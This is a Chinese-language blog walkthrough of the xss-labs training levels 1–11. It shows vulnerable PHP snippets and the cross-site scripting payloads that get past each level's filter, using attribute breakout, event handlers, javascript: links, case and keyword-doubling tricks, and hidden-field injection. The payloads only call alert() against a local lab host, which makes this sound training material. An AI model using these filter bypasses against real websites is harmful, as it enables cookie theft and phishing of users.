发布于2022年11月4日3年前 XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。 XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制。安装项目地址:https://gitee.com/Zcodetea/xss-labslevel我们首先对核心代码进行分析<?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>通过GET方法,将name的值赋值为变量$srt并将其直接输出。即!如果name=<script>alert()</script>时,将会把结果直接输出。构造POChttp://192.168.123.240/level1.php?name=%3Cscript%3Ealert('bbskali.cn')%3C/script%3Eleve2代码解读<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>我们对数据进行抓包分析后台过滤了<>符号,对其进行了实体化。但是我们发现了另一个可搞的地方。input标签的value值,正是我们的输入内容,且没有过滤。修改payload:"><script>alert()</script>提前将input标签闭合,让leve3代码分析发现value里的<>也被实体化掉了以采用“事件”,常用的有两个,onclick和onmouseover。这里用onmouseover,payload:' onmouseover='javascript:alert(1)这个为什么会起作用呢?你把它带进input的value就明白了。带入:源码中就会被修改成:<input name=keyword value=' ' onmouseover='javascript:alert(1)'> 注入成功后,鼠标移动到input输入框,就会触发leve4和leve3的原理一样,只不过需要将'改为"payload:" onmouseover='alert(1)'leve5发现事件也被过滤掉了。不要感到束手无策,前两题我们用事件是因为,<>不能用。但是这关没限制呀。我们只是不能用script,还有好多标签可用,比如<a>, <img>。所以我们提前闭合input给<a>即可payload:" /> <a href=javascript:alert()>bbskali.cn</a>leve6同样的套路,但是发现超链接屏蔽了。将href进行了屏蔽,那么有么有屏蔽Href等大小写组合呢?OK 成功!leve7script字符串被整个的过滤掉了,输入的on被过滤掉了,javascript的script也过滤了。payload:"><scripscriptt>alert()</scrscriptipt>leve8发现输入框的value会被填进超链接的href里面去。所以我们只需构造href就好了。javascript被过滤了。这里你发现调整大小写也没有用。怎么办?我们就可以使用t替换javascript中的t,从而绕过过滤。payload:javascript:alert()leve9输入中要有http://才能被识别写入。paylaod:javascript:alert()//http://leve10没有输入框,也没有超链接了。通过发现,将输入框隐藏了而已。payload:t_sort=" type="text" onmouseover=alert() "leve11对其源码分析<script> window.alert = function() { confirm("完成的不错!"); window.location.href="level12.php?keyword=good job!"; } </script> <title>欢迎来到level11</title> </head> <body> <h1 align=center>欢迎来到level11</h1> <h2 align=center>没有找到和good job!相关的结果.</h2><center> <form id=search> <input name="t_link" value="" type="hidden"> <input name="t_history" value="" type="hidden"> <input name="t_sort" value="" type="hidden"> <input name="t_ref" value="http://192.168.123.240/level10.php?t_sort=%22%20type=%22text%22%20onmouseover=alert()%20%22" type="hidden"> </form> </center><center><img src=level11.png></center> <h3 align=center>payload的长度:9</h3></body>其中多了一个input,它的value很有趣,就是第10关的url。在第十关完成的瞬间,我们使用burp抓取数据包未完待续…… 版权属于:逍遥子大表哥本文链接:https://blog.bbskali.cn/2552.html按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
创建帐户或登录后发表意见